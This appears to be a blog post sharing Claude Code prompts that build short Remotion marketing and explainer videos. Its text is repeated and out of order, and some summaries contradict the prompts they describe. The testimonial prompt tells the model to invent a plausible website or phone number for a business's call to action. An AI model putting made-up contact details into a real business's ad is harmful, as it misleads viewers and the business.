- Key numbers use count-up animation with interpolate() and tabular-nums
- Final scene: particle effect background (10-15 circles drifting upward)
Each scene should have a clear visual metaphor — diagrams, flowcharts, icons, or step-by-step animations. No walls of text. Think Kurzgesagt meets Fireship: dense information, beautiful motion, fast pacing.

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.

You literally just swap the topic in quotes. “How AI Agents Work” becomes “How Blockchain Works” or “How DNS Works” or “How Photosynthesis Works.”

Claude handles research, scripting, visual design, and animation. Zero assets needed - everything is generated as SVG.

2. Product Demo + Launch Video

Use case: Give Claude any product URL.

It scrapes real branding, downloads product images/screenshots FROM the website (not screenshots OF the website), and creates a full product ad with animated visuals, feature callouts, and a simulated demo. All from one URL.

Prompt:

Use the Remotion best practices skill.
Create a 25-second product demo and launch video (1080x1920, 30fps) for the product at https://your-product-url.com.

SAFE ZONE: All text and key content must stay within the safe zone — at least 150px from the top (platform search bars, status bar) and 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. Nothing important should touch the edges. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px — it’s unreadable on mobile.

STEP 1 — RESEARCH & ASSET DOWNLOAD: Visit the URL. Extract:
- Product name and logo (download any logo/favicon to public/)
- Brand colors (pull from the site’s CSS or visible design)
- Tagline / hero headline
- The core user flow (what does someone DO with this product?)
- 3 key features or value propositions
- Any social proof (user counts, testimonials, logos)
- IMPORTANT — PRODUCT IMAGES: Use the Claude in Chrome MCP tools to navigate to the website, read the page, and find product screenshots/images the site already displays (hero images, product UI screenshots, feature images, app previews). These are images the company designed to showcase their product — they’ll look much better than browser screenshots. Download 2-3 of the best product images and save them to public/product-1.png, product-2.png, etc. Look for <img> tags, og:image meta tags, and background images in the hero/features sections. Prefer PNG/JPG product mockups over generic stock photos.
- Only take browser screenshots as a LAST RESORT if the website has no downloadable product images.
Show me what you found (including which product images you downloaded) and a proposed 6-scene outline. Wait for approval before coding.

STEP 2 — BUILD THE VIDEO: After approval, build 6 scenes:

SCENE 1 - Hook (3s):
- Bold text in safe zone: a pain-point question relevant to the product (e.g., “Still editing videos manually?”)
- Text slams in with spring from 2x scale, holds 2s, fades out
- Dark background with subtle brand-color radial glow

SCENE 2 - Product Intro (3s):
- Product name/logo scales in with spring from 3x to 1x (use the downloaded logo, or render name in brand font)
- Real tagline slides up below
- Particle burst behind logo: 20 circles expanding outward with random trajectories, fading out, using brand accent color

SCENE 3 - Simulated Demo (8s):
- Recreate a simplified, MOBILE-SIZED version of the product’s core interaction using React components (styled divs, inputs, buttons, cards in the brand’s colors)
- NO device mockup frame — build the UI elements directly on the dark background, large enough to fill the safe zone width (960px+)
- Keep it simple: just the ONE core interaction (input field + button + result), not the full app UI
- Animate a cursor (small white circle with subtle trail) that:
  - Moves to an input field (full width, 72px tall, 36px text) using smooth bezier motion
  - Click ripple effect on the field (expanding circle that fades)
  - Text types into the field character by character at 36px font size
  - Cursor moves to a large “Go” / “Generate” / “Submit” button (full width, 64px tall)
  - Click ripple on button, button depresses (scale 0.95)
  - Loading spinner appears (0.5s), then results animate in with staggered spring animations
  - Result cards/text must also be large (36px+ body text)
- All cursor movement uses spring({ damping: 15 }) for natural, human-like motion
- Everything must be readable on a phone screen — if in doubt, make it bigger

SCENE 4 - Product Image Showcase (5s):
- Display the downloaded product images LARGE — these are polished marketing images, not browser screenshots, so show them big
- Each image is displayed at near-full width (900px+), centered in the frame with drop shadow and rounded corners (16px)
- NO device mockup frame needed — the product images already look polished on their own
- Animate through 2-3 product images as a sequence:
  - Image 1 scales in from 0.9 to 1.0 with spring, holds 1.5s
  - Crossfade to Image 2, holds 1.5s
  - Crossfade to Image 3, holds 1.5s
- While each image is visible, a short feature headline (56px, Inter 700) fades in above or below the image, updating with each transition
- If product images are landscape, display them in the center of the frame at full width with dark background above and below

SCENE 5 - Feature Callouts (3s):
- Product image scales down to 40% and moves to the top
- 3 feature benefit lines animate in below it, staggered by 10 frames:
  - Each line has a colored icon (checkmark, lightning bolt, star) + short text (36px+) pulled from real features
  - Lines slide in from right with spring()
- Feature text must be LARGE and readable — 36px minimum for each line

SCENE 6 - Social Proof + CTA (3s):
- Everything fades out
- If social proof was found, animate the real number counting up from 0 (e.g., “50,000+ users”)
- Product URL pulses gently (scale 1.0 to 1.03) — positioned above bottom safe zone
- Fade to black

CURSOR DESIGN: White circle (12px), 50% opacity trailing shadow, smooth bezier paths between click targets. Never teleport — always animate movement.

FONT: Inter (800 headlines, 400 body) unless the website uses a distinctive Google Font — match it.
Use spring() for entrances, interpolate() with clamp for counting.

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.

Paste any product URL. Claude scrapes real branding, takes real screenshots, and builds the video.

You get a simulated demo (cursor clicking through a fake version of the app) that crossfades into real screenshots scrolling in a phone mockup.

It’s a complete product ad: hook, demo, proof, CTA. Change the URL, get a new video.

3. Google Reviews Testimonial Video

Use case: Paste any business’s Google Maps/Business Profile link. Claude scrapes the real reviews, star rating, and business info, then creates an animated testimonial ad featuring real customer quotes with star animations and social proof counters.

Prompt:

Use the Remotion best practices skill.
Create a 20-second testimonial/social proof video (1080x1920, 30fps) for the business at this Google Business Profile: https://maps.google.com/your-business-link-here

SAFE ZONE: All text and key content must stay within the safe zone — at least 150px from the top (platform search bars, status bar) and 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. Nothing important should touch the edges. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px — it’s unreadable on mobile.

STEP 1 — SCRAPE REVIEWS: Visit the Google Business Profile URL using Playwright. Extract:
- Business name and category
- Overall star rating (e.g., 4.8)
- Total number of reviews (e.g., “2,340 reviews”)
- The 3 best/most compelling reviews (5-star, with actual review text and reviewer first name)
- Business photo or logo if available (screenshot it to public/)
If Playwright can’t load Google reviews directly, use an alternative: search for the business name + “reviews” and scrape from the search results card, or use the Google Maps page.
Show me the business info and 3 selected reviews. Wait for approval before coding.

STEP 2 — BUILD THE VIDEO: After approval, build 5 scenes:

SCENE 1 - Hook (3s):
- Clean white/light background (#f8f9fa) with a subtle warm gradient (soft peach #fff7ed fading to white)
- Large gold star cluster: 3 overlapping star SVGs at different sizes and rotations, scattered in the upper area, faded to 15% opacity as a decorative background element
- Bold text centered in safe zone, two lines:
  - Line 1: “What people are saying about” — Inter 700, 44px, dark text #1a1a1a
  - Line 2: “[Business Name]” — Inter 800, 56px, gold #f59e0b
- Text enters with spring from below (translateY 40px to 0)
- Below the text: the overall star rating as 5 inline stars (40px, gold filled) with the number next to them (e.g., “4.8”) — fades in 10 frames after the text

SCENE 2 - Star Rating Reveal (3s):
- Same light background (#f8f9fa)
- 5 large star SVGs (60px each) in a row, centered
- Stars fill in one by one from left to right with gold (#f59e0b) using spring animation, staggered by 8 frames
- If rating is 4.8, the 5th star fills only 80% (use clip-path or width mask)
- Below the stars: the rating number counts up from 0.0 to the actual rating using interpolate() with 1 decimal place, dark text #1a1a1a
- Below that: “Based on [X] reviews” fades in, #64748b, with the number counting up from 0
- Subtle gold particle shimmer behind the stars

SCENE 3 - Review Carousel (9s, 3 reviews x 3s each):
- Same light background (#f8f9fa)
- Each review is a card that takes the full safe zone width:
  - Top: 5 small gold stars (28px) in a row
  - Middle: the review text in quotes, Inter 400, 36px, dark text #1a1a1a — max 3 lines, truncate with “...” if longer
  - Bottom: reviewer first name + “Google Review” label, Inter 400, 28px, #64748b
  - Card background: white (#ffffff) with subtle border (#e2e8f0), rounded corners (16px), soft shadow (0 4px 20px rgba(0,0,0,0.08))
- Card transitions: each card slides out to the left while the next slides in from the right, using TransitionSeries with slide transitions
- Add a small Google “G” logo icon (built as SVG — the 4-color G) next to “Google Review” for authenticity
- A thin progress indicator below the card shows which review we’re on (3 dots, active dot is gold)

DECORATIVE GRAPHICS AROUND EACH REVIEW (fill the empty space above and below the card):
- ABOVE the review card: large quotation mark SVG in gold at 10% opacity, 200px tall, positioned top-left of safe zone. Fades in with the card.
- BELOW the review card: an animated graphic relevant to the review content. Pick ONE per review:
  - Review 1: animated 5-star rating bar chart showing the business’s rating distribution (5 horizontal bars, gold fill on light gray #f1f5f9 track, spring animation)
  - Review 2: a thumbs-up icon that scales in with spring + a count-up number showing total reviews
  - Review 3: a simple map pin icon with the business location text, with a subtle pulse animation
- These decorative elements enter with the card and exit with it
- Keep them subtle (muted colors, 30-50% opacity) so they don’t compete with the review text
- All decorative icons/graphics use gold (#f59e0b) or muted gray (#94a3b8)

SCENE 4 - Social Proof Stack (3s):
- Same light background (#f8f9fa)
- 3 stat lines stagger in from the bottom with spring, 10-frame delays:
  - Line 1: gold star icon + “[X] star rating” — dark text #1a1a1a
  - Line 2: people icon + “[X]+ happy customers” (count up animation)
  - Line 3: map pin icon + “[City, State]” location
- Each line has an icon (SVG) on the left and text on the right
- Icons are gold (#f59e0b), text is dark #1a1a1a

SCENE 5 - CTA (2s):
- Same light background (#f8f9fa)
- Business name in large text (Inter 800, 56px, #1a1a1a), scales in with spring, centered in safe zone
- Below: a prominent CTA button (full safe-zone width, 72px tall, rounded corners 16px, gold background #f59e0b, white text “Book Now” or “Call Today” at 40px)
- Button enters with spring from below
- Below the button: the business’s website URL or phone number in Inter 600, 36px, #64748b — generate a plausible URL based on the business name (e.g., “www.flplumber.com” or “(555) 123-4567”)
- Positioned above bottom safe zone
- No fade to black — end on the clean light background with CTA visible

COLORS: Light theme throughout. Background #f8f9fa on all scenes. Card backgrounds white #ffffff. Primary text dark #1a1a1a. Secondary text #64748b. Accent gold #f59e0b for stars, highlights, and CTA button. Card borders #e2e8f0.

FONT: Inter (weights 400, 600, 700, 800)
Use spring() for all entrances. Use interpolate() with clamp for counting animations.

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.

Paste any business’s Google Maps link. Claude scrapes the real star rating, review count, and actual customer reviews, then creates an animated testimonial video with star-fill animations, review cards sliding through a carousel, and social proof counters — all using real data.

Works for restaurants, agencies, dentists, salons, any local business. This is the kind of video businesses pay $200-500 for on Fiverr. Change the link, get a new video.

4. Avatar Video with Animated Overlays

Use case: Drop in a 9:16 talking-head video. Claude transcribes what you’re saying, then overlays animated titles, topic graphics, captions, and progress indicators on top of the video — synced to your speech. Your original video stays full-frame, untouched.

Prompt:

Use the Remotion best practices skill.
I’ve placed my talking-head video in public/avatar.mp4. This is a 9:16 vertical video (1080x1920) of me talking to camera — a selfie-style shot where my face is in the lower 60% of the frame, with open space above my head.
Create a Remotion composition (1080x1920, 30fps) that plays this video FULL FRAME as the background layer, then overlays animated graphics on top — specifically in the open space above my head (roughly the top 35-40% of the frame). The video itself is never cropped, split, or resized. It plays edge-to-edge at its original 1080x1920 resolution.

SAFE ZONE: All overlay text and graphics must stay within the safe zone — at least 150px from the top (platform search bars, status bar) and at least 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px — it’s unreadable on mobile.

STEP 1 — TRANSCRIBE & PLAN: Use Whisper to transcribe public/avatar.mp4. Analyze the transcript to identify:
- The total duration (set composition length to match the video)
- 3-5 key topic segments with their start timestamps
- For each segment, propose an overlay graphic to display in the top portion of the frame (above my head). Examples:
  - Topic title with a large step number (e.g., “01” faded in background, “Elements of AI” as headline)
  - Keyword pill/badge that highlights the current topic
  - Simple animated icon or diagram illustrating the concept
  - Progress bar or step indicator showing where we are in the video
  - Animated caption/quote pulling a key phrase from what I’m saying
Show me the transcript segments and proposed overlay for each. Wait for approval before coding.

STEP 2 — BUILD:

BASE LAYER — FULL-FRAME AVATAR VIDEO:
- <OffthreadVideo src={staticFile(”avatar.mp4”)} /> filling the entire 1080x1920 composition
- style={{ width: “100%”, height: “100%”, objectFit: “cover” }}
- This is the background. It plays from frame 0 for the full duration.
- Audio from this video is the composition’s audio track (me speaking)
- Do NOT crop, resize, split, or put this in a panel. It IS the full frame.

OVERLAY LAYER — ANIMATED GRAPHICS (positioned in top ~35% of frame, above my head):
- Use AbsoluteFill on top of the video layer
- All graphics positioned in the top portion of the frame (y: 150px to ~700px) — this is the open space above my head
- Add a subtle dark gradient overlay ONLY in the top 40% of the frame (transparent at bottom, rgba(0,0,0,0.6) at top) so white text is readable against any background
For each topic segment, display an overlay timed to the transcript:

OVERLAY STYLE (like the reference image):
- Large faded step number in background (”01”, “02”, etc.) — Inter 800, ~200px, rgba(255,255,255,0.08)
- Topic headline below it — Inter 700, 56-64px, white
- Keyword badge — small rounded pill with glass-morphism background, 32px text
- Animated progress bar under the badge — thin line that fills to show progress through current segment, accent color #22c55e
- Each overlay enters with spring({ damping: 200 }) at its segment’s start timestamp
- Previous overlay fades out (opacity 0 over 10 frames) as the new one enters
- Use Sequence components with from={Math.round(timestamp * fps)} to sync to speech

OPTIONAL BOTTOM OVERLAY — CAPTIONS:
- If you can extract word-level timestamps from Whisper, add animated captions in the lower portion of the frame (above bottom safe zone, around y: 1600-1700px)
- Style: bold white text, 36px, with a subtle text shadow for readability
- Highlight the current word in accent color (#6366f1)

COLORS: Accent #6366f1 (indigo), secondary #22c55e (green), text white

FONT: Inter (weights 400, 600, 700, 800)

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.

Why it’s mindblowing: Drop in any selfie talking-head video. Claude transcribes your speech, then layers animated titles, step numbers, keyword badges, progress bars, and captions on top of your original video — all synced to what you’re actually saying. Your video stays full-frame and untouched. It’s like having a motion graphics editor watch your video and add overlays in real time.

5. Data Visualization Infographic

Use case: Give Claude a CSV file or paste raw data. It designs and animates a full dashboard with charts, KPIs, and trend indicators — no design skills needed.

Prompt:

Use the Remotion best practices skill.
I’ve placed a data file at public/data.csv. Create an animated data dashboard video (1080x1920, 30fps, 15 seconds) that visualizes this data.

SAFE ZONE: All text and key content must stay within the safe zone — at least 150px from the top (platform search bars, status bar) and 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. Nothing important should touch the edges. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px — it’s unreadable on mobile.

STEP 1 — ANALYZE: Read the CSV file. Identify:
- A compelling title for the dashboard
- The single most impressive KPI stat (for the hero card)
- Data suitable for a bar chart (categorical comparison)
- Data suitable for a donut/pie chart (parts of a whole)
- Data suitable for a line chart (trend over time)
If the CSV doesn’t have all 4 chart types, pick the best 4 visualizations for the data and adapt. Show me the proposed dashboard layout. Wait for approval before coding.

STEP 2 — ANIMATE:

LAYOUT: Vertical stack of 4 panels with 30px padding between. Top margin at 150px (safe zone), bottom panel ends above 170px (safe zone). Side margins: 60px. Dark background #0a0a0a.

PANEL 1 - KPI Hero Card:
- Large headline number counting up from 0 using interpolate(), with appropriate suffix (%, $, k, M)
- Subtitle describing the metric in Inter 400, 20px, #94a3b8
- Trend indicator: colored arrow (green ▲ or red ▼) with YoY change, slides in after count finishes
- Glass-morphism card background (rgba(255,255,255,0.05), border 1px solid rgba(255,255,255,0.1), backdrop-blur)
- tabular-nums font-variant for smooth counting
- Entrance: card scales from 0.8 to 1.0 with spring at frame 10

PANEL 2 - Bar Chart:
- Horizontal bars, one per category, using real labels and values from the CSV
- Each bar grows from width 0 using spring({ damping: 200, delay: index * 10 })
- Bar colors: gradient from #6366f1 to #8b5cf6
- Labels on left, values appear at bar end after growth completes
- Rounded-right corners (8px)
- Entrance: staggered, starting at frame 25

PANEL 3 - Donut Chart:
- SVG donut using stroke-dasharray / stroke-dashoffset
- Segments draw clockwise, each starting after previous finishes
- Colors: #3b82f6, #22c55e, #f59e0b, #ef4444 (cycle if more segments)
- Radius 80px, stroke-width 24px
- Center text: category name swaps as each segment draws
- Colored legend dots below, staggered fade-in
- Entrance: starts at frame 50

PANEL 4 - Line Chart:
- SVG polyline drawing left to right via stroke-dashoffset + interpolate()
- Data point circles (r=4) pop in with scale spring as the line reaches them
- Gradient fill below the line (color to transparent) reveals with the draw
- Axis labels from the CSV data
- Line color: #22c55e
- Entrance: starts at frame 70

GLOBAL:
- Dashboard title (from your analysis) fades in at frame 0, top safe zone, Inter 800, 36px
- Source subtitle fades in at frame 5, Inter 400, 16px, #64748b
- All panels use matching glass-morphism card style
Use spring() for entrances, interpolate() with clamp for counts and line drawing. Create reusable CountUp and AnimatedBar components.

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.

Drop any CSV into the public folder. Claude reads the data, picks the best visualization for each chart type, and animates a full dashboard with real numbers.

Swap the CSV, get a completely different video.

Works for quarterly reports, survey results, API analytics, anything with numbers.

P.S. Need More Help? 👋

1/ Free AI courses

2/ Free AI prompts

3/ Free AI automations

4/ Free AI vibe coding

5/ Ask me anything @ Friday livestream

6/ Free private community for Women Building AI

7/ I built Blotato to grow 1M+ followers in 1 year

The magic here is Claude Code's "skills" system.

Remotion ships a set of pre-built skills, i.e. instructions that teach Claude exactly how Remotion works - its APIs, animation patterns, best practices, and pitfalls. You install them once, then every prompt you paste into Claude has that full context.

Below are 5 ready-to-paste prompts.

Each one produces a different style of video.

Swap in your own topics, hit enter, and watch Claude make videos :)

Setup

Open a terminal and run these 2 commands:

npx skills add remotion-dev/skills      # install all Remotion skills

claude                                  # open Claude Code, paste your prompt

What you need per prompt

1. Education Explainer — Your input: Change the topic in quotes. Claude: Claude researches, scripts, designs, animates

2. Product Demo + Launch — Your input: Change the URL. Claude: Claude scrapes branding, takes screenshots, rebuilds UI, creates simulated demo + real screenshot showcase in one video

3. Google Reviews Testimonial — Your input: Paste Google Business Profile link. Claude: Claude scrapes real reviews/rating, creates animated testimonial with star animations + review carousel

4. Avatar + Animated Overlays — Your input: Drop 9:16 talking-head video in public/. Claude: Claude transcribes speech, overlays animated titles/badges/captions on top of your full-frame video

5. Data Viz Dashboard — Your input: Drop a CSV in public/. Claude: Claude analyzes data, picks chart types, animates

Pro Tips

1. Always start with “Use the Remotion best practices skill” — already included in every prompt

2. Visual controls — prompts 2 and 4 ask Claude to add position sliders you can tweak in Remotion Studio

3. Iterate — after the first render, give correction prompts (”make the bars wider”, “slow the typing to 10 chars/sec”, “change accent color to orange”)

4. Render — ask Claude to open “Remotion Studio” so you can preview the video

1. Education Explainer Video

Use case: Turn any topic into a full animated explainer video. Just change the topic — Claude researches it, writes the script, designs the scenes, and animates everything.

Prompt:

Use the Remotion best practices skill.
Create an educational explainer video (1080x1920, 30fps, 30 seconds) that teaches “How AI Agents Work”.

SAFE ZONE: All text and key content must stay within the safe zone — at least 150px from the top (platform search bars, status bar) and 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. Nothing important should touch the edges. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px — it’s unreadable on mobile.

STEP 1 — RESEARCH & SCRIPT: Before writing any code, research the topic and write a 5-scene script. Each scene needs: a one-line headline, 1-2 sentences of explanation, and a visual description of what to animate. Show me the script and wait for approval before coding.

STEP 2 — DESIGN & ANIMATE: After I approve the script, build all 5 scenes with these specs:

VISUAL STYLE:
- Background: #0a0a0a
- Primary text: white
- Accent: #6366f1 (indigo)
- Success/emphasis: #22c55e (green)
- Font: Inter (weights 400, 600, 800)
- All icons/diagrams built as SVG components (no external assets needed)

ANIMATION RULES:
- Every element enters with spring({ damping: 200 }) — no linear motion
- Stagger related items by 8-12 frames
- Use TransitionSeries with 12-frame fade transitions between scenes
- Diagrams and flowcharts should draw themselves (SVG stroke-dashoffset animation)
- Key numbers use count-up animation with interpolate() and tabular-nums
- Final scene: particle effect background (10-15 circles drifting upward)
Each scene should have a clear visual metaphor — diagrams, flowcharts, icons, or step-by-step animations. No walls of text. Think Kurzgesagt meets Fireship: dense information, beautiful motion, fast pacing.

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.

You literally just swap the topic in quotes. “How AI Agents Work” becomes “How Blockchain Works” or “How DNS Works” or “How Photosynthesis Works.”

Claude handles research, scripting, visual design, and animation. Zero assets needed - everything is generated as SVG.

2. Product Demo + Launch Video

Use case: Give Claude any product URL.

It scrapes real branding, downloads product images/screenshots FROM the website (not screenshots OF the website), and creates a full product ad with animated visuals, feature callouts, and a simulated demo. All from one URL.

Prompt:

Use the Remotion best practices skill.
Create a 25-second product demo and launch video (1080x1920, 30fps) for the product at https://your-product-url.com.

SAFE ZONE: All text and key content must stay within the safe zone — at least 150px from the top (platform search bars, status bar) and 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. Nothing important should touch the edges. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px — it’s unreadable on mobile.

STEP 1 — RESEARCH & ASSET DOWNLOAD: Visit the URL. Extract:
- Product name and logo (download any logo/favicon to public/)
- Brand colors (pull from the site’s CSS or visible design)
- Tagline / hero headline
- The core user flow (what does someone DO with this product?)
- 3 key features or value propositions
- Any social proof (user counts, testimonials, logos)
- IMPORTANT — PRODUCT IMAGES: Use the Claude in Chrome MCP tools to navigate to the website, read the page, and find product screenshots/images the site already displays (hero images, product UI screenshots, feature images, app previews). These are images the company designed to showcase their product — they’ll look much better than browser screenshots. Download 2-3 of the best product images and save them to public/product-1.png, product-2.png, etc. Look for <img> tags, og:image meta tags, and background images in the hero/features sections. Prefer PNG/JPG product mockups over generic stock photos.
- Only take browser screenshots as a LAST RESORT if the website has no downloadable product images.
Show me what you found (including which product images you downloaded) and a proposed 6-scene outline. Wait for approval before coding.

STEP 2 — BUILD THE VIDEO: After approval, build 6 scenes:

SCENE 1 - Hook (3s):
- Bold text in safe zone: a pain-point question relevant to the product (e.g., “Still editing videos manually?”)
- Text slams in with spring from 2x scale, holds 2s, fades out
- Dark background with subtle brand-color radial glow

SCENE 2 - Product Intro (3s):
- Product name/logo scales in with spring from 3x to 1x (use the downloaded logo, or render name in brand font)
- Real tagline slides up below
- Particle burst behind logo: 20 circles expanding outward with random trajectories, fading out, using brand accent color

SCENE 3 - Simulated Demo (8s):
- Recreate a simplified, MOBILE-SIZED version of the product’s core interaction using React components (styled divs, inputs, buttons, cards in the brand’s colors)
- NO device mockup frame — build the UI elements directly on the dark background, large enough to fill the safe zone width (960px+)
- Keep it simple: just the ONE core interaction (input field + button + result), not the full app UI
- Animate a cursor (small white circle with subtle trail) that:
  - Moves to an input field (full width, 72px tall, 36px text) using smooth bezier motion
  - Click ripple effect on the field (expanding circle that fades)
  - Text types into the field character by character at 36px font size
  - Cursor moves to a large “Go” / “Generate” / “Submit” button (full width, 64px tall)
  - Click ripple on button, button depresses (scale 0.95)
  - Loading spinner appears (0.5s), then results animate in with staggered spring animations
  - Result cards/text must also be large (36px+ body text)
- All cursor movement uses spring({ damping: 15 }) for natural, human-like motion
- Everything must be readable on a phone screen — if in doubt, make it bigger

SCENE 4 - Product Image Showcase (5s):
- Display the downloaded product images LARGE — these are polished marketing images, not browser screenshots, so show them big
- Each image is displayed at near-full width (900px+), centered in the frame with drop shadow and rounded corners (16px)
- NO device mockup frame needed — the product images already look polished on their own
- Animate through 2-3 product images as a sequence:
  - Image 1 scales in from 0.9 to 1.0 with spring, holds 1.5s
  - Crossfade to Image 2, holds 1.5s
  - Crossfade to Image 3, holds 1.5s
- While each image is visible, a short feature headline (56px, Inter 700) fades in above or below the image, updating with each transition
- If product images are landscape, display them in the center of the frame at full width with dark background above and below

SCENE 5 - Feature Callouts (3s):
- Product image scales down to 40% and moves to the top
- 3 feature benefit lines animate in below it, staggered by 10 frames:
  - Each line has a colored icon (checkmark, lightning bolt, star) + short text (36px+) pulled from real features
  - Lines slide in from right with spring()
- Feature text must be LARGE and readable — 36px minimum for each line

SCENE 6 - Social Proof + CTA (3s):
- Everything fades out
- If social proof was found, animate the real number counting up from 0 (e.g., “50,000+ users”)
- Product URL pulses gently (scale 1.0 to 1.03) — positioned above bottom safe zone
- Fade to black

CURSOR DESIGN: White circle (12px), 50% opacity trailing shadow, smooth bezier paths between click targets. Never teleport — always animate movement.

FONT: Inter (800 headlines, 400 body) unless the website uses a distinctive Google Font — match it.
Use spring() for entrances, interpolate() with clamp for counting.

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.

Paste any product URL. Claude scrapes real branding, takes real screenshots, and builds the video.

You get a simulated demo (cursor clicking through a fake version of the app) that crossfades into real screenshots scrolling in a phone mockup.

It’s a complete product ad: hook, demo, proof, CTA. Change the URL, get a new video.

3. Google Reviews Testimonial Video

Use case: Paste any business’s Google Maps/Business Profile link. Claude scrapes the real reviews, star rating, and business info, then creates an animated testimonial ad featuring real customer quotes with star animations and social proof counters.

Prompt:

Use the Remotion best practices skill.
Create a 20-second testimonial/social proof video (1080x1920, 30fps) for the business at this Google Business Profile: https://maps.google.com/your-business-link-here

SAFE ZONE: All text and key content must stay within the safe zone — at least 150px from the top (platform search bars, status bar) and 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. Nothing important should touch the edges. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px — it’s unreadable on mobile.

STEP 1 — SCRAPE REVIEWS: Visit the Google Business Profile URL using Playwright. Extract:
- Business name and category
- Overall star rating (e.g., 4.8)
- Total number of reviews (e.g., “2,340 reviews”)
- The 3 best/most compelling reviews (5-star, with actual review text and reviewer first name)
- Business photo or logo if available (screenshot it to public/)
If Playwright can’t load Google reviews directly, use an alternative: search for the business name + “reviews” and scrape from the search results card, or use the Google Maps page.
Show me the business info and 3 selected reviews. Wait for approval before coding.

STEP 2 — BUILD THE VIDEO: After approval, build 5 scenes:

SCENE 1 - Hook (3s):
- Clean white/light background (#f8f9fa) with a subtle warm gradient (soft peach #fff7ed fading to white)
- Large gold star cluster: 3 overlapping star SVGs at different sizes and rotations, scattered in the upper area, faded to 15% opacity as a decorative background element
- Bold text centered in safe zone, two lines:
  - Line 1: “What people are saying about” — Inter 700, 44px, dark text #1a1a1a
  - Line 2: “[Business Name]” — Inter 800, 56px, gold #f59e0b
- Text enters with spring from below (translateY 40px to 0)
- Below the text: the overall star rating as 5 inline stars (40px, gold filled) with the number next to them (e.g., “4.8”) — fades in 10 frames after the text

SCENE 2 - Star Rating Reveal (3s):
- Same light background (#f8f9fa)
- 5 large star SVGs (60px each) in a row, centered
- Stars fill in one by one from left to right with gold (#f59e0b) using spring animation, staggered by 8 frames
- If rating is 4.8, the 5th star fills only 80% (use clip-path or width mask)
- Below the stars: the rating number counts up from 0.0 to the actual rating using interpolate() with 1 decimal place, dark text #1a1a1a
- Below that: “Based on [X] reviews” fades in, #64748b, with the number counting up from 0
- Subtle gold particle shimmer behind the stars

SCENE 3 - Review Carousel (9s, 3 reviews x 3s each):
- Same light background (#f8f9fa)
- Each review is a card that takes the full safe zone width:
  - Top: 5 small gold stars (28px) in a row
  - Middle: the review text in quotes, Inter 400, 36px, dark text #1a1a1a — max 3 lines, truncate with “...” if longer
  - Bottom: reviewer first name + “Google Review” label, Inter 400, 28px, #64748b
  - Card background: white (#ffffff) with subtle border (#e2e8f0), rounded corners (16px), soft shadow (0 4px 20px rgba(0,0,0,0.08))
- Card transitions: each card slides out to the left while the next slides in from the right, using TransitionSeries with slide transitions
- Add a small Google “G” logo icon (built as SVG — the 4-color G) next to “Google Review” for authenticity
- A thin progress indicator below the card shows which review we’re on (3 dots, active dot is gold)

DECORATIVE GRAPHICS AROUND EACH REVIEW (fill the empty space above and below the card):
- ABOVE the review card: large quotation mark SVG in gold at 10% opacity, 200px tall, positioned top-left of safe zone. Fades in with the card.
- BELOW the review card: an animated graphic relevant to the review content. Pick ONE per review:
  - Review 1: animated 5-star rating bar chart showing the business’s rating distribution (5 horizontal bars, gold fill on light gray #f1f5f9 track, spring animation)
  - Review 2: a thumbs-up icon that scales in with spring + a count-up number showing total reviews
  - Review 3: a simple map pin icon with the business location text, with a subtle pulse animation
- These decorative elements enter with the card and exit with it
- Keep them subtle (muted colors, 30-50% opacity) so they don’t compete with the review text
- All decorative icons/graphics use gold (#f59e0b) or muted gray (#94a3b8)

SCENE 4 - Social Proof Stack (3s):
- Same light background (#f8f9fa)
- 3 stat lines stagger in from the bottom with spring, 10-frame delays:
  - Line 1: gold star icon + “[X] star rating” — dark text #1a1a1a
  - Line 2: people icon + “[X]+ happy customers” (count up animation)
  - Line 3: map pin icon + “[City, State]” location
- Each line has an icon (SVG) on the left and text on the right
- Icons are gold (#f59e0b), text is dark #1a1a1a

SCENE 5 - CTA (2s):
- Same light background (#f8f9fa)
- Business name in large text (Inter 800, 56px, #1a1a1a), scales in with spring, centered in safe zone
- Below: a prominent CTA button (full safe-zone width, 72px tall, rounded corners 16px, gold background #f59e0b, white text “Book Now” or “Call Today” at 40px)
- Button enters with spring from below
- Below the button: the business’s website URL or phone number in Inter 600, 36px, #64748b — generate a plausible URL based on the business name (e.g., “www.flplumber.com” or “(555) 123-4567”)
- Positioned above bottom safe zone
- No fade to black — end on the clean light background with CTA visible

COLORS: Light theme throughout. Background #f8f9fa on all scenes. Card backgrounds white #ffffff. Primary text dark #1a1a1a. Secondary text #64748b. Accent gold #f59e0b for stars, highlights, and CTA button. Card borders #e2e8f0.

FONT: Inter (weights 400, 600, 700, 800)
Use spring() for all entrances. Use interpolate() with clamp for counting animations.

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.

Paste any business’s Google Maps link. Claude scrapes the real star rating, review count, and actual customer reviews, then creates an animated testimonial video with star-fill animations, review cards sliding through a carousel, and social proof counters — all using real data.

